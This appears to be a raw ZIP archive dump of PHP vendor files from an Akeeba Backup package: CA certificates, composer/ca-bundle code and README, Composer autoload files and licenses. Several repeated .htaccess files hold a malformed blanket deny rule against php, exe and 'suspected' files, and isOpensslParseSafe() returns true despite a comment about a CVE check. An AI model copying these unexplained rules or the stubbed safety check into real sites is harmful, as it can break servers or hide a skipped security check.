EuRU2j7yrTrePjxF8CgPBrnh25d7mUWe3f6VWQQvdT/TromZhqwUtKiE+shdOxtYk8EXlFXIC+OC
eYSf8wCENO7cMdWP8vpPlkwGqnj73mSiI80fPsWMvDdUDrtaclXvyFu1cvh43zcgTFeRc5JzrBh3
Q4IgaezprClG5QtO+DdziZaKHG29777YtvTKwP1H8K4LWCDFyB02rpeNUIMmJCn3nTsPBQIDAQAB
o2MwYTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBRvjmKLk0Ow
4UD2p8P98Q+4DxU4pTAdBgNVHQ4EFgQUb45ii5NDsOFA9qfD/fEPuA8VOKUwDQYJKoZIhvcNAQEL
BQADggIBAKwsKUF9+lz1GpUYvyypiqkkVHX1uECry6gkUSsYP2OprphWKwVDIqO310aewCoSPY6W
lkDfDDOLazeROpW7OSltwAJsipQLBwJNGD77+3v1dj2b9l4wBlgzHqp41eZUBDqyggmNzhYzWUUo
8aWjlw5DI/0LIICQ/+Mmz7hkkeUFjxOgdg3XNwwQiJb0Pr6VvfHDffCjw3lHC1ySFWPtUnWK50Zp
y1FVCypM9fJkT6lc/2cyjlUtMoIcgC9qkfjLvH4YoiaoLqNTKIftV+Vlek4ASltOU8liNr3Cjlvr
zG4ngRhZi0Rjn9UMZfQpZX+RLOV/fuiJz48gy20HQhFRJjKKLjpHE7iNvUcNCfAWpO2Whi4Z2L6M
OuhFLhG6rlrnub+xzI/goP+4s9GFe3lmozm1O2bYQL7Pt2eLSMkZJVX8vY3PXtpOpvJpzv1/THfQ
wUY1mFwjmwJFQ5Ra3bxHrSL+ul4vkSkphnsh3m5kt8sNjzdbowhq6/TdAo9QAwKxuDdollDruF/U
KIqlIgyKhPBZLtU30WHlQnNYKoH3dtvi4k0NX/a3vgW0rk4N3hY9A4GzJl5LuEsAz/+MF7psYC0n
hzck5npgL7XTgwSqT0N1osGDsieYK7EOgLrAhV5Cud+xYJHT6xh+cHiudoO+cVrQkOPKwRYlZ0rw
tnu64ZzZ
-----END CERTIFICATE-----

OISTE Server Root ECC G1
========================
-----BEGIN CERTIFICATE-----
MIICNTCCAbqgAwIBAgIQI/nD1jWvjyhLH/BU6n6XnTAKBggqhkjOPQQDAzBLMQswCQYDVQQGEwJD
SDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UEAwwYT0lTVEUgU2VydmVyIFJvb3Qg
RUNDIEcxMB4XDTIzMDUzMTE0NDIyOFoXDTQ4MDUyNDE0NDIyN1owSzELMAkGA1UEBhMCQ0gxGTAX
BgNVBAoMEE9JU1RFIEZvdW5kYXRpb24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IEVDQyBH
MTB2MBAGByqGSM49AgEGBSuBBAAiA2IABBcv+hK8rBjzCvRE1nZCnrPoH7d5qVi2+GXROiFPqOuj
vqQycvO2Ackr/XeFblPdreqqLiWStukhEaivtUwL85Zgmjvn6hp4LrQ95SjeHIC6XG4N2xml4z+c
KrhAS93mT6NjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBQ3TYhlz/w9itWj8UnATgwQ
b0K0nDAdBgNVHQ4EFgQUN02IZc/8PYrVo/FJwE4MEG9CtJwwDgYDVR0PAQH/BAQDAgGGMAoGCCqG
SM49BAMDA2kAMGYCMQCpKjAd0MKfkFFRQD6VVCHNFmb3U2wIFjnQEnx/Yxvf4zgAOdktUyBFCxxg
ZzFDJe0CMQCSia7pXGKDYmH5LVerVrkR3SW+ak5KGoJr3M/TvEqzPNcum9v4KGm8ay3sMaE641c=
-----END CERTIFICATE-----

OISTE Server Root RSA G1
========================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIQVaXZZ5Qoxu0M+ifdWwFNGDANBgkqhkiG9w0BAQwFADBLMQswCQYDVQQG
EwJDSDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UEAwwYT0lTVEUgU2VydmVyIFJv
b3QgUlNBIEcxMB4XDTIzMDUzMTE0MzcxNloXDTQ4MDUyNDE0MzcxNVowSzELMAkGA1UEBhMCQ0gx
GTAXBgNVBAoMEE9JU1RFIEZvdW5kYXRpb24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IFJT
QSBHMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKqu9KuCz/vlNwvn1ZatkOhLKdxV
YOPMvLO8LZK55KN68YG0nnJyQ98/qwsmtO57Gmn7KNByXEptaZnwYx4M0rH/1ow00O7brEi56rAU
jtgHqSSY3ekJvqgiG1k50SeH3BzN+Puz6+mTeO0Pzjd8JnduodgsIUzkik/HEzxux9UTl7Ko2yRp
g1bTacuCErudG/L4NPKYKyqOBGf244ehHa1uzjZ0Dl4zO8vbUZeUapU8zhhabkvG/AePLhq5Svdk
NCncpo1Q4Y2LS+VIG24ugBA/5J8bZT8RtOpXaZ+0AOuFJJkk9SGdl6r7NH8CaxWQrbueWhl/pIzY
+m0o/DjH40ytas7ZTpOSjswMZ78LS5bOZmdTaMsXEY5Z96ycG7mOaES3GK/m5Q9l3JUJsJMStR8+
lKXHiHUhsd4JJCpM4rzsTGdHwimIuQq6+cF0zowYJmXa92/GjHtoXAvuY8BeS/FOzJ8vD+HomnqT
8eDI278n5mUpezbgMxVz8p1rhAhoKzYHKyfMeNhqhw5HdPSqoBNdZH702xSu+zrkL8Fl47l6QGzw
Brd7KJvX4V84c5Ss2XCTLdyEr0YconosP4EmQufU2MVshGYRi3drVByjtdgQ8K4p92cIiBdcuJd5
z+orKu5YM+Vt6SmqZQENghPsJQtdLEByFSnTkCz3GkPVavBpAgMBAAGjYzBhMA8GA1UdEwEB/wQF
MAMBAf8wHwYDVR0jBBgwFoAU8snBDw1jALvsRQ5KH7WxszbNDo0wHQYDVR0OBBYEFPLJwQ8NYwC7
7EUOSh+1sbM2zQ6NMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQwFAAOCAgEANGd5sjrG5T33
I3K5Ce+SrScfoE4KsvXaFwyihdJ+klH9FWXXXGtkFu6KRcoMQzZENdl//nk6HOjG5D1rd9QhEOP2
8yBOqb6J8xycqd+8MDoX0TJD0KqKchxRKEzdNsjkLWd9kYccnbz8qyiWXmFcuCIzGEgWUOrKL+ml
Sdx/PKQZvDatkuK59EvV6wit53j+F8Bdh3foZ3dPAGav9LEDOr4SfEE15fSmG0eLy3n31r8Xbk5l
8PjaV8GUgeV6Vg27Rn9vkf195hfkgSe7BYhW3SCl95gtkRlpMV+bMPKZrXJAlszYd2abtNUOshD+
FKrDgHGdPY3ofRRsYWSGRqbXVMW215AWRqWFyp464+YTFrYVI8ypKVL9AMb2kI5Wj4kI3Zaq5tNq
qYY19tVFeEJKRvwDyF7YZvZFZSS0vod7VSCd9521Kvy5YhnLbDuv0204bKt7ph6N/Ome/msVuduC
msuY33OhkKCgxeDoAaijFJzIwZqsFVAzje18KotzlUBDJvyBpCpfOZC3J8tRd/iWkx7P8nd9H0aT
olkelUTFLXVksNb54Dxp6gS1HAviRkRNQzuXSXERvSS2wq1yVAb+axj5d9spLFKebXd7Yv0PTY6Y
MjAwcRLWJTXjn/hvnLXrahut6hDTlhZyBiElxky8j3C7DOReIoMt0r7+hVu05L0=
-----END CERTIFICATE-----

e-Szigno TLS Root CA 2023
=========================
-----BEGIN CERTIFICATE-----
MIICzzCCAjGgAwIBAgINAOhvGHvWOWuYSkmYCjAKBggqhkjOPQQDBDB1MQswCQYDVQQGEwJIVTER
MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xFzAVBgNVBGEMDlZBVEhV
LTIzNTg0NDk3MSIwIAYDVQQDDBllLVN6aWdubyBUTFMgUm9vdCBDQSAyMDIzMB4XDTIzMDcxNzE0
MDAwMFoXDTM4MDcxNzE0MDAwMFowdTELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRYw
FAYDVQQKDA1NaWNyb3NlYyBMdGQuMRcwFQYDVQRhDA5WQVRIVS0yMzU4NDQ5NzEiMCAGA1UEAwwZ
ZS1Temlnbm8gVExTIFJvb3QgQ0EgMjAyMzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAEAGgP36J8
PKp0iGEKjcJMpQEiFNT3YHdCnAo4YKGMZz6zY+n6kbCLS+Y53wLCMAFSAL/fjO1ZrTJlqwlZULUZ
wmgcAOAFX9pQJhzDrAQixTpN7+lXWDajwRlTEArRzT/vSzUaQ49CE0y5LBqcvjC2xN7cS53kpDzL
Ltmt3999Cd8ukv+ho2MwYTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4E
FgQUWYQCYlpGePVd3I8KECgj3NXW+0UwHwYDVR0jBBgwFoAUWYQCYlpGePVd3I8KECgj3NXW+0Uw
CgYIKoZIzj0EAwQDgYsAMIGHAkIBLdqu9S54tma4n7Zwf2Z0z+yOfP7AAXmazlIC58PRDHpty7Ve
7hekm9sEdu4pKeiv+62sUvTXK9Z3hBC9xdIoaDQCQTV2WnXzkoYI9bIeCvZlC9p2x1L/Cx6AcCIw
wzPbGO2E14vs7dOoY4G1VnxHx1YwlGhza9IuqbnZLBwpvQy6uWWL
-----END CERTIFICATE-----
PK     \Sʉ      '  vendor/composer/ca-bundle/res/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \>Vu1  1  #  vendor/composer/ca-bundle/README.mdnu [        composer/ca-bundle
==================

Small utility library that lets you find a path to the system CA bundle,
and includes a fallback to the Mozilla CA bundle.

Originally written as part of [composer/composer](https://github.com/composer/composer),
now extracted and made available as a stand-alone library.


Installation
------------

Install the latest version with:

```bash
$ composer require composer/ca-bundle
```


Requirements
------------

* PHP 5.3.2 is required but using the latest version of PHP is highly recommended.


Basic usage
-----------

### `Composer\CaBundle\CaBundle`

- `CaBundle::getSystemCaRootBundlePath()`: Returns the system CA bundle path, or a path to the bundled one as fallback
- `CaBundle::getBundledCaBundlePath()`: Returns the path to the bundled CA file
- `CaBundle::validateCaFile($filename)`: Validates a CA file using openssl_x509_parse only if it is safe to use
- `CaBundle::isOpensslParseSafe()`: Test if it is safe to use the PHP function openssl_x509_parse()
- `CaBundle::reset()`: Resets the static caches


#### To use with curl

```php
$curl = curl_init("https://example.org/");

$caPathOrFile = \Composer\CaBundle\CaBundle::getSystemCaRootBundlePath();
if (is_dir($caPathOrFile)) {
    curl_setopt($curl, CURLOPT_CAPATH, $caPathOrFile);
} else {
    curl_setopt($curl, CURLOPT_CAINFO, $caPathOrFile);
}

$result = curl_exec($curl);
```

#### To use with php streams

```php
$opts = array(
    'http' => array(
        'method' => "GET"
    )
);

$caPathOrFile = \Composer\CaBundle\CaBundle::getSystemCaRootBundlePath();
if (is_dir($caPathOrFile)) {
    $opts['ssl']['capath'] = $caPathOrFile;
} else {
    $opts['ssl']['cafile'] = $caPathOrFile;
}

$context = stream_context_create($opts);
$result = file_get_contents('https://example.com', false, $context);
```

#### To use with Guzzle

```php
$client = new \GuzzleHttp\Client([
    \GuzzleHttp\RequestOptions::VERIFY => \Composer\CaBundle\CaBundle::getSystemCaRootBundlePath()
]);
```

License
-------

composer/ca-bundle is licensed under the MIT License, see the LICENSE file for details.
PK     \N+  +  *  vendor/composer/ca-bundle/src/CaBundle.phpnu [        <?php

/*
 * This file is part of composer/ca-bundle.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\CaBundle;

use Psr\Log\LoggerInterface;
use Symfony\Component\Process\PhpProcess;

/**
 * @author Chris Smith <chris@cs278.org>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class CaBundle
{
    /** @var string|null */
    private static $caPath;
    /** @var array<string, bool> */
    private static $caFileValidity = array();

    /**
     * Returns the system CA bundle path, or a path to the bundled one
     *
     * This method was adapted from Sslurp.
     * https://github.com/EvanDotPro/Sslurp
     *
     * (c) Evan Coury <me@evancoury.com>
     *
     * For the full copyright and license information, please see below:
     *
     * Copyright (c) 2013, Evan Coury
     * All rights reserved.
     *
     * Redistribution and use in source and binary forms, with or without modification,
     * are permitted provided that the following conditions are met:
     *
     *     * Redistributions of source code must retain the above copyright notice,
     *       this list of conditions and the following disclaimer.
     *
     *     * Redistributions in binary form must reproduce the above copyright notice,
     *       this list of conditions and the following disclaimer in the documentation
     *       and/or other materials provided with the distribution.
     *
     * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
     * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
     * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
     * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
     * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
     * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
     * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
     * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     *
     * @param  LoggerInterface $logger optional logger for information about which CA files were loaded
     * @return string          path to a CA bundle file or directory
     */
    public static function getSystemCaRootBundlePath(?LoggerInterface $logger = null)
    {
        if (self::$caPath !== null) {
            return self::$caPath;
        }
        $caBundlePaths = array();

        // If SSL_CERT_FILE env variable points to a valid certificate/bundle, use that.
        // This mimics how OpenSSL uses the SSL_CERT_FILE env variable.
        $caBundlePaths[] = self::getEnvVariable('SSL_CERT_FILE');

        // If SSL_CERT_DIR env variable points to a valid certificate/bundle, use that.
        // This mimics how OpenSSL uses the SSL_CERT_FILE env variable.
        $caBundlePaths[] = self::getEnvVariable('SSL_CERT_DIR');

        $caBundlePaths[] = ini_get('openssl.cafile');
        $caBundlePaths[] = ini_get('openssl.capath');

        $otherLocations = array(
            '/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem', // Fedora, RHEL, CentOS (ca-certificates package) - NEW
            '/etc/pki/tls/certs/ca-bundle.crt', // Fedora, RHEL, CentOS (ca-certificates package) - Deprecated
            '/etc/ssl/certs/ca-certificates.crt', // Debian, Ubuntu, Gentoo, Arch Linux (ca-certificates package)
            '/etc/ssl/ca-bundle.pem', // SUSE, openSUSE (ca-certificates package)
            '/usr/ssl/certs/ca-bundle.crt', // Cygwin
            '/opt/local/share/curl/curl-ca-bundle.crt', // OS X macports, curl-ca-bundle package
            '/usr/local/share/curl/curl-ca-bundle.crt', // Default cURL CA bunde path (without --with-ca-bundle option)
            '/usr/share/ssl/certs/ca-bundle.crt', // Really old RedHat?
            '/etc/ssl/cert.pem', // OpenBSD
            '/usr/local/etc/openssl/cert.pem', // OS X homebrew, openssl package
            '/usr/local/etc/openssl@1.1/cert.pem', // OS X homebrew, openssl@1.1 package
            '/opt/homebrew/etc/openssl@3/cert.pem', // macOS silicon homebrew, openssl@3 package
            '/opt/homebrew/etc/openssl@1.1/cert.pem', // macOS silicon homebrew, openssl@1.1 package
            '/etc/pki/tls/certs',
            '/etc/ssl/certs', // FreeBSD
        );

        $caBundlePaths = array_merge($caBundlePaths, $otherLocations);

        foreach ($caBundlePaths as $caBundle) {
            if ($caBundle && self::caFileUsable($caBundle, $logger)) {
                return self::$caPath = $caBundle;
            }

            if ($caBundle && self::caDirUsable($caBundle, $logger)) {
                return self::$caPath = $caBundle;
            }
        }

        return self::$caPath = static::getBundledCaBundlePath(); // Bundled CA file, last resort
    }

    /**
     * Returns the path to the bundled CA file
     *
     * In case you don't want to trust the user or the system, you can use this directly
     *
     * @return string path to a CA bundle file
     */
    public static function getBundledCaBundlePath()
    {
        $caBundleFile = __DIR__.'/../res/cacert.pem';

        // cURL does not understand 'phar://' paths
        // see https://github.com/composer/ca-bundle/issues/10
        if (0 === strpos($caBundleFile, 'phar://')) {
            $tempCaBundleFile = tempnam(sys_get_temp_dir(), 'openssl-ca-bundle-');
            if (false === $tempCaBundleFile) {
                throw new \RuntimeException('Could not create a temporary file to store the bundled CA file');
            }

            file_put_contents(
                $tempCaBundleFile,
                file_get_contents($caBundleFile)
            );

            register_shutdown_function(function() use ($tempCaBundleFile) {
                @unlink($tempCaBundleFile);
            });

            $caBundleFile = $tempCaBundleFile;
        }

        return $caBundleFile;
    }

    /**
     * Validates a CA file using opensl_x509_parse only if it is safe to use
     *
     * @param string          $filename
     * @param LoggerInterface $logger   optional logger for information about which CA files were loaded
     *
     * @return bool
     */
    public static function validateCaFile($filename, ?LoggerInterface $logger = null)
    {
        static $warned = false;

        if (isset(self::$caFileValidity[$filename])) {
            return self::$caFileValidity[$filename];
        }

        $contents = file_get_contents($filename);

        if (is_string($contents) && strlen($contents) > 0) {
            $contents = preg_replace("/^(\\-+(?:BEGIN|END))\\s+TRUSTED\\s+(CERTIFICATE\\-+)\$/m", '$1 $2', $contents);
            if (null === $contents) {
                // regex extraction failed
                $isValid = false;
            } else {
                $isValid = (bool) openssl_x509_parse($contents);
            }
        } else {
            $isValid = false;
        }

        if ($logger) {
            $logger->debug('Checked CA file '.realpath($filename).': '.($isValid ? 'valid' : 'invalid'));
        }

        return self::$caFileValidity[$filename] = $isValid;
    }

    /**
     * Test if it is safe to use the PHP function openssl_x509_parse().
     *
     * This checks if OpenSSL extensions is vulnerable to remote code execution
     * via the exploit documented as CVE-2013-6420.
     *
     * @return bool
     */
    public static function isOpensslParseSafe()
    {
        return true;
    }

    /**
     * Resets the static caches
     * @return void
     */
    public static function reset()
    {
        self::$caFileValidity = array();
        self::$caPath = null;
    }

    /**
     * @param  string $name
     * @return string|false
     */
    private static function getEnvVariable($name)
    {
        if (isset($_SERVER[$name])) {
            return (string) $_SERVER[$name];
        }

        if (PHP_SAPI === 'cli' && ($value = getenv($name)) !== false && $value !== null) {
            return (string) $value;
        }

        return false;
    }

    /**
     * @param  string|false $certFile
     * @param  LoggerInterface|null $logger
     * @return bool
     */
    private static function caFileUsable($certFile, ?LoggerInterface $logger = null)
    {
        return $certFile
            && self::isFile($certFile, $logger)
            && self::isReadable($certFile, $logger)
            && self::validateCaFile($certFile, $logger);
    }

    /**
     * @param  string|false $certDir
     * @param  LoggerInterface|null $logger
     * @return bool
     */
    private static function caDirUsable($certDir, ?LoggerInterface $logger = null)
    {
        return $certDir
            && self::isDir($certDir, $logger)
            && self::isReadable($certDir, $logger)
            && self::glob($certDir . '/*', $logger);
    }

    /**
     * @param  string $certFile
     * @param  LoggerInterface|null $logger
     * @return bool
     */
    private static function isFile($certFile, ?LoggerInterface $logger = null)
    {
        $isFile = @is_file($certFile);
        if (!$isFile && $logger) {
            $logger->debug(sprintf('Checked CA file %s does not exist or it is not a file.', $certFile));
        }

        return $isFile;
    }

    /**
     * @param  string $certDir
     * @param  LoggerInterface|null $logger
     * @return bool
     */
    private static function isDir($certDir, ?LoggerInterface $logger = null)
    {
        $isDir = @is_dir($certDir);
        if (!$isDir && $logger) {
            $logger->debug(sprintf('Checked directory %s does not exist or it is not a directory.', $certDir));
        }

        return $isDir;
    }

    /**
     * @param  string $certFileOrDir
     * @param  LoggerInterface|null $logger
     * @return bool
     */
    private static function isReadable($certFileOrDir, ?LoggerInterface $logger = null)
    {
        $isReadable = @is_readable($certFileOrDir);
        if (!$isReadable && $logger) {
            $logger->debug(sprintf('Checked file or directory %s is not readable.', $certFileOrDir));
        }

        return $isReadable;
    }

    /**
     * @param  string $pattern
     * @param  LoggerInterface|null $logger
     * @return bool
     */
    private static function glob($pattern, ?LoggerInterface $logger = null)
    {
        $certs = glob($pattern);
        if ($certs === false) {
            if ($logger) {
                $logger->debug(sprintf("An error occurred while trying to find certificates for pattern: %s", $pattern));
            }
            return false;
        }

        if (count($certs) === 0) {
            if ($logger) {
                $logger->debug(sprintf("No CA files found for pattern: %s", $pattern));
            }
            return false;
        }

        return true;
    }
}
PK     \Sʉ      '  vendor/composer/ca-bundle/src/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      #  vendor/composer/ca-bundle/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Zst    !  vendor/composer/autoload_psr4.phpnu [        <?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname(dirname(dirname($vendorDir)));

return array(
    'Composer\\CaBundle\\' => array($vendorDir . '/composer/ca-bundle/src'),
    'Akeeba\\WebPush\\' => array($vendorDir . '/akeeba/webpush/src'),
    'Akeeba\\UsageStats\\Collector\\' => array($vendorDir . '/akeeba/stats_collector/src'),
    'Akeeba\\S3\\' => array($vendorDir . '/akeeba/s3/src'),
    'Akeeba\\PHPFinder\\' => array($vendorDir . '/akeeba/phpfinder/src'),
    'Akeeba\\Engine\\' => array($vendorDir . '/akeeba/engine/engine'),
    'Akeeba\\Backup\\Tests\\' => array($baseDir . '/Tests'),
);
PK     \-ځH  H    vendor/composer/installed.phpnu [        <?php return array(
    'root' => array(
        'name' => 'akeeba/akeebabackup',
        'pretty_version' => '9.3.x-dev',
        'version' => '9.3.9999999.9999999-dev',
        'reference' => '12c376c0094a92a7d4ddfd01260ec3f95da950b3',
        'type' => 'project',
        'install_path' => __DIR__ . '/../../../../',
        'aliases' => array(),
        'dev' => false,
    ),
    'versions' => array(
        'akeeba/akeebabackup' => array(
            'pretty_version' => '9.3.x-dev',
            'version' => '9.3.9999999.9999999-dev',
            'reference' => '12c376c0094a92a7d4ddfd01260ec3f95da950b3',
            'type' => 'project',
            'install_path' => __DIR__ . '/../../../../',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'akeeba/engine' => array(
            'pretty_version' => 'dev-development',
            'version' => 'dev-development',
            'reference' => 'ac33ea315ad7b52e81fcdedbd9ea6e6f600b6fa6',
            'type' => 'library',
            'install_path' => __DIR__ . '/../akeeba/engine',
            'aliases' => array(
                0 => '9999999-dev',
            ),
            'dev_requirement' => false,
        ),
        'akeeba/phpfinder' => array(
            'pretty_version' => '1.0.1',
            'version' => '1.0.1.0',
            'reference' => '0a00eb712c72000f6dbd4cd3a772bd327c288920',
            'type' => 'library',
            'install_path' => __DIR__ . '/../akeeba/phpfinder',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'akeeba/s3' => array(
            'pretty_version' => 'dev-development',
            'version' => 'dev-development',
            'reference' => '6e251af705c5a61710b32f79bfb905483634c5fb',
            'type' => 'library',
            'install_path' => __DIR__ . '/../akeeba/s3',
            'aliases' => array(
                0 => '9999999-dev',
            ),
            'dev_requirement' => false,
        ),
        'akeeba/stats_collector' => array(
            'pretty_version' => 'dev-main',
            'version' => 'dev-main',
            'reference' => 'a3dc39b61bfacbd2389094b09bc0307cbdb1f81a',
            'type' => 'library',
            'install_path' => __DIR__ . '/../akeeba/stats_collector',
            'aliases' => array(
                0 => '9999999-dev',
            ),
            'dev_requirement' => false,
        ),
        'akeeba/webpush' => array(
            'pretty_version' => 'dev-main',
            'version' => 'dev-main',
            'reference' => '325e4dd445d4048a9872539fc273b31eb1ca457f',
            'type' => 'library',
            'install_path' => __DIR__ . '/../akeeba/webpush',
            'aliases' => array(
                0 => '9999999-dev',
            ),
            'dev_requirement' => false,
        ),
        'composer/ca-bundle' => array(
            'pretty_version' => 'dev-main',
            'version' => 'dev-main',
            'reference' => '108ec30b5e82fbeb89b68800212cb94c849f6aad',
            'type' => 'library',
            'install_path' => __DIR__ . '/./ca-bundle',
            'aliases' => array(
                0 => '1.x-dev',
            ),
            'dev_requirement' => false,
        ),
        'greenlion/php-sql-parser' => array(
            'pretty_version' => 'v4.7.0',
            'version' => '4.7.0.0',
            'reference' => '0cd49149efc5868db9c32d1a09558ea516892586',
            'type' => 'library',
            'install_path' => __DIR__ . '/../greenlion/php-sql-parser',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
    ),
);
PK     \r      %  vendor/composer/autoload_classmap.phpnu [        <?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname(dirname(dirname($vendorDir)));

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
);
PK     \!E/      '  vendor/composer/autoload_namespaces.phpnu [        <?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname(dirname(dirname($vendorDir)));

return array(
    'PHPSQLParser\\' => array($vendorDir . '/greenlion/php-sql-parser/src'),
);
PK     \/      "  vendor/composer/autoload_files.phpnu [        <?php

// autoload_files.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname(dirname(dirname($vendorDir)));

return array(
    '714ccd4b330431237faf946f71c4c9a4' => $vendorDir . '/akeeba/s3/src/aliasing.php',
);
PK     \Sʉ        vendor/composer/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \sL    !  vendor/composer/autoload_real.phpnu [        <?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit7e7ffb6f1a9e828ca7ae967d28b893af
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        require __DIR__ . '/platform_check.php';

        spl_autoload_register(array('ComposerAutoloaderInit7e7ffb6f1a9e828ca7ae967d28b893af', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
        spl_autoload_unregister(array('ComposerAutoloaderInit7e7ffb6f1a9e828ca7ae967d28b893af', 'loadClassLoader'));

        require __DIR__ . '/autoload_static.php';
        call_user_func(\Composer\Autoload\ComposerStaticInit7e7ffb6f1a9e828ca7ae967d28b893af::getInitializer($loader));

        $loader->register(true);

        $filesToLoad = \Composer\Autoload\ComposerStaticInit7e7ffb6f1a9e828ca7ae967d28b893af::$files;
        $requireFile = \Closure::bind(static function ($fileIdentifier, $file) {
            if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;

                require $file;
            }
        }, null, null);
        foreach ($filesToLoad as $fileIdentifier => $file) {
            $requireFile($fileIdentifier, $file);
        }

        return $loader;
    }
}
PK     \IlE"  "  *  vendor/akeeba/webpush/LICENSE-LAGRANGE.txtnu [        Copyright (c) 2015 Louis Lagrange

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.PK     \a`;  ;  (  vendor/akeeba/webpush/LICENSE-SPOMKY.txtnu [        The MIT License (MIT)

Copyright (c) 2014-2019 Spomky-Labs

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

